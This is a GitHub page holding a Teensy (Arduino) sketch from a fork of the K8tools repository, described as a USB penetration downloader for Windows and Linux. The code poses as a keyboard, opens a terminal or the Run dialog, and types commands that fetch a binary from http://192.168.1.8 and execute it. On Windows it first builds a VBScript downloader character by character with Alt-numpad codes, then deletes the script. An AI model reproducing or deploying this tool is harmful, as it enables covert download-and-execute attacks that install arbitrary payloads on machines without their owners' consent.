forked from k8gege/K8tools
-
Notifications
You must be signed in to change notification settings - Fork 0
/
K8 Teensy USB渗透 同时兼容所有Windows和Linux系统下载者.ino
279 lines (265 loc) · 8.15 KB
/
K8 Teensy USB渗透 同时兼容所有Windows和Linux系统下载者.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
//lnx & win httpDownExec by K8team 2015.4.6
int myKeyBreak = 50;
void setup() {
//linux downexec
delay(5000);
terminal();
delay(3000);
Keyboard.println("rm xxoo.out");
delay(2000);
Keyboard.println("wget http://192.168.1.8/x.out -O xxoo.out");
delay(2000);
Keyboard.println("chmod +x xxoo.out");
Keyboard.println("./xxoo.out &");
delay(2000);
Keyboard.println("exit");
//win downexec
omg("cmd.exe");
delay(500);
Keyboard.println("color a&&cls");
delay(myKeyBreak);
ascii_println("del x.exe");
delay(myKeyBreak);
ascii_println("echo strFileURL = \"http://192.168.1.8/x.exe\" > K8.vbs");
delay(myKeyBreak);
ascii_println("echo strHDLocation = \"x.exe\" >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objXMLHTTP.open \"GET\", strFileURL, false >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objXMLHTTP.send() >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo If objXMLHTTP.Status = 200 Then >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo Set objADOStream = CreateObject(\"ADODB.Stream\") >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objADOStream.Open >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objADOStream.Type = 1 >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objADOStream.Write objXMLHTTP.ResponseBody >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objADOStream.Position = 0 >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo Set objFSO = Nothing >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objADOStream.SaveToFile strHDLocation >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo objADOStream.Close >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo Set objADOStream = Nothing >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo End if >> K8.vbs");
delay(myKeyBreak);
ascii_println("echo Set objXMLHTTP = Nothing >> K8.vbs");
delay(myKeyBreak);
ascii_println("exit");
delay(1000);
omg("cmd /c cscript K8.vbs");
delay(8000);
omg("cmd /c del K8.vbs");
delay(1000);
omg("cmd /c x.exe");
delay(10000);
}
void loop() {
}
void ascii_println(char *string)
{
ascii_type_this(string);
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(100);
}
void ascii_type_this(char *string)
{
int count, length;
length = strlen(string);
for(count = 0 ; count < length ; count++)
{
char a = string[count];
ascii_input(ascii_convert(a));
}
}
void ascii_input(char *string)
{
if (string == "000") return;
int count, length;
length = strlen(string);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.send_now();
for(count = 0 ; count < length ; count++)
{
char a = string[count];
if (a == '1') Keyboard.set_key1(KEYPAD_1);
if (a == '2') Keyboard.set_key1(KEYPAD_2);
if (a == '3') Keyboard.set_key1(KEYPAD_3);
if (a == '4') Keyboard.set_key1(KEYPAD_4);
if (a == '5') Keyboard.set_key1(KEYPAD_5);
if (a == '6') Keyboard.set_key1(KEYPAD_6);
if (a == '7') Keyboard.set_key1(KEYPAD_7);
if (a == '8') Keyboard.set_key1(KEYPAD_8);
if (a == '9') Keyboard.set_key1(KEYPAD_9);
if (a == '0') Keyboard.set_key1(KEYPAD_0);
Keyboard.send_now();
Keyboard.set_key1(0);
delay(11);
Keyboard.send_now();
}
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
char* ascii_convert(char string)
{
if (string == 'T') return "84";
if (string == ' ') return "32";
if (string == '!') return "33";
if (string == '\"') return "34";
if (string == '#') return "35";
if (string == '$') return "36";
if (string == '%') return "37";
if (string == '&') return "38";
if (string == '\'') return "39";
if (string == '(') return "40";
if (string == ')') return "41";
if (string == '*') return "42";
if (string == '+') return "43";
if (string == ',') return "44";
if (string == '-') return "45";
if (string == '.') return "46";
if (string == '/') return "47";
if (string == '0') return "48";
if (string == '1') return "49";
if (string == '2') return "50";
if (string == '3') return "51";
if (string == '4') return "52";
if (string == '5') return "53";
if (string == '6') return "54";
if (string == '7') return "55";
if (string == '8') return "56";
if (string == '9') return "57";
if (string == ':') return "58";
if (string == ';') return "59";
if (string == '<') return "60";
if (string == '=') return "61";
if (string == '>') return "62";
if (string == '?') return "63";
if (string == '@') return "64";
if (string == 'A') return "65";
if (string == 'B') return "66";
if (string == 'C') return "67";
if (string == 'D') return "68";
if (string == 'E') return "69";
if (string == 'F') return "70";
if (string == 'G') return "71";
if (string == 'H') return "72";
if (string == 'I') return "73";
if (string == 'J') return "74";
if (string == 'K') return "75";
if (string == 'L') return "76";
if (string == 'M') return "77";
if (string == 'N') return "78";
if (string == 'O') return "79";
if (string == 'P') return "80";
if (string == 'Q') return "81";
if (string == 'R') return "82";
if (string == 'S') return "83";
if (string == 'T') return "84";
if (string == 'U') return "85";
if (string == 'V') return "86";
if (string == 'W') return "87";
if (string == 'X') return "88";
if (string == 'Y') return "89";
if (string == 'Z') return "90";
if (string == '[') return "91";
if (string == '\\') return "92";
if (string == ']') return "93";
if (string == '^') return "94";
if (string == '_') return "95";
if (string == '`') return "96";
if (string == 'a') return "97";
if (string == 'b') return "98";
if (string == 'c') return "99";
if (string == 'd') return "100";
if (string == 'e') return "101";
if (string == 'f') return "102";
if (string == 'g') return "103";
if (string == 'h') return "104";
if (string == 'i') return "105";
if (string == 'j') return "106";
if (string == 'k') return "107";
if (string == 'l') return "108";
if (string == 'm') return "109";
if (string == 'n') return "110";
if (string == 'o') return "111";
if (string == 'p') return "112";
if (string == 'q') return "113";
if (string == 'r') return "114";
if (string == 's') return "115";
if (string == 't') return "116";
if (string == 'u') return "117";
if (string == 'v') return "118";
if (string == 'w') return "119";
if (string == 'x') return "120";
if (string == 'y') return "121";
if (string == 'z') return "122";
if (string == '{') return "123";
if (string == '|') return "124";
if (string == '}') return "125";
if (string == '~') return "126";
Keyboard.print(string);
return "000";
}
void release_keys()
{
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(100);
}
void send_keys(byte key, byte modifier)
{
if(modifier)
Keyboard.set_modifier(modifier);
Keyboard.set_key1(key);
Keyboard.send_now();
delay(100);
release_keys();
}
void omg(char *SomeCommand)
{
Keyboard.set_modifier(128);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1500);
ascii_type_this(SomeCommand);
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void terminal()
{
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT);
Keyboard.send_now();
Keyboard.set_key1(KEY_T);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}